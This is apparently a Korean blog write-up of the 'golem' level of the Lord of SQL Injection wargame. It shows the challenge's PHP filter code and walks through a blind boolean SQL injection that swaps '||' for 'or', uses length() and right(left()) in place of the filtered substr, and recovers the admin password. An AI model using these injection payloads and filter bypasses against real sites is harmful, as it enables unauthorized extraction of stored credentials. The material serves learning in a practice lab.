쿼리문!
query : select id from prob_golem where id='guest' and pw=''
코드를 분석해보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
// pw를 입력받을 때 역시나 문자를 필터링하고 있다.
-> or, and, substr
or ->||
and -> &&
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
// 참인 조건문이 들어가게 되면 Hello {$result[id]} 라는 문자열이 출력되는 것 같다.
(참고로 이전에 풀었던 문제에서도 비슷한 코드가 나왔었다..!
특히, 이 문제에서는 이 조건문을 매우 유용하게 사용하여 문제를 해결했었다.
궁금하다면 밑의 블로그 주소의 풀이를 참고해보자.)
Lord of SQL Injection # orge
query : select id from prob_orge where id='guest' and pw='' 쿼리문은 이렇게 나와있다. pw를 찾으면 되는 문제인듯! php코드이구... 코드를 일단 간단하게 분석해보쟈.
2myona.tistory.com
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
// 입력받은 pw이 정해진 pw값과 같아야 문제가 해결된다.
highlight_file(__FILE__);
?>
결국 정해진 pw를 찾아야 하는 것이다!
위의 블로그, LOS의 orge 문제와 거의 유사한 방법으로 풀어봤다.
먼저 length() 함수를 이용해 pw의 길이를 구해줬다.
참인 조건이 들어가면 Hello 'id값'이 출력된다는 성질을 이용했다.
?pw=null%27||length(pw)<10%23
처음에는 이렇게 입력해주었는데, 위의 사진처럼 참인 조건이라고 인식이 되었다.
이 10을 하나씩 줄여가면서 pw의 길이를 구하면 된다.
9로 바꿔봤다.
8로 바꿔봤는데, 거짓인 조건으로 인식이 되었다.
그러므로, pw의 길이는 8인 것을 알 수 있다.
이제 상세한 pw 값을 구해보자.
그러나, 이 문제에서는 substr을 사용할 수 없다!
그러므로, 이제부터는 orge 문제와는 다른 방법을 사용해야 한다.
substr을 필터링 우회해주면 된다.
right(left(pw,1),1)
substr(pw,1,1)
이 둘은 같은 의미이다.
<left/right() 함수>
left() : 왼쪽부터 입력한 길이만큼의 문자열을 자르는 함수
right() : 오른쪽부터 입력한 길이만큼의 문자열을 자르는 함수
사용 형식
: left(추출할 문자열, 길이)
right(추출할 문자열, 길이)
그러므로,
?pw=null%27||ascii(right(left(pw,1),1))<100%23
이런식으로 써주면 된다.
역시 100을 바꿔가며 아스키값을 찾으면 된다.
50을 입력해주니 거짓이 나온다...
이런식으로 8개의 값을 찾아주면 될 것 같다!
(매우 귀찮지만 은근 얼마 안걸림..)
55
55
100
예를 들어,
3번째 자리 아스키값은 위와 같이 찾아주면 된다.
?pw=null%27||ascii(right(left(pw,3),1))<100%23
이제 나머지도 찾아주자.
54
50
57
48
98
이 아스키 값을 텍스트로 바꾸면
77d6290b
이렇게 된다.
이를 입력해주면
문제가 해결된다!!
'웹 > LOS' 카테고리의 다른 글
LOS # bugbear (0) | 2021.03.28 |
---|---|
LOS # darknight (0) | 2021.03.16 |
LOS # skeleton (0) | 2021.03.13 |
LOS # vampire (0) | 2021.03.13 |
Lord of SQL Injection # troll (0) | 2021.03.13 |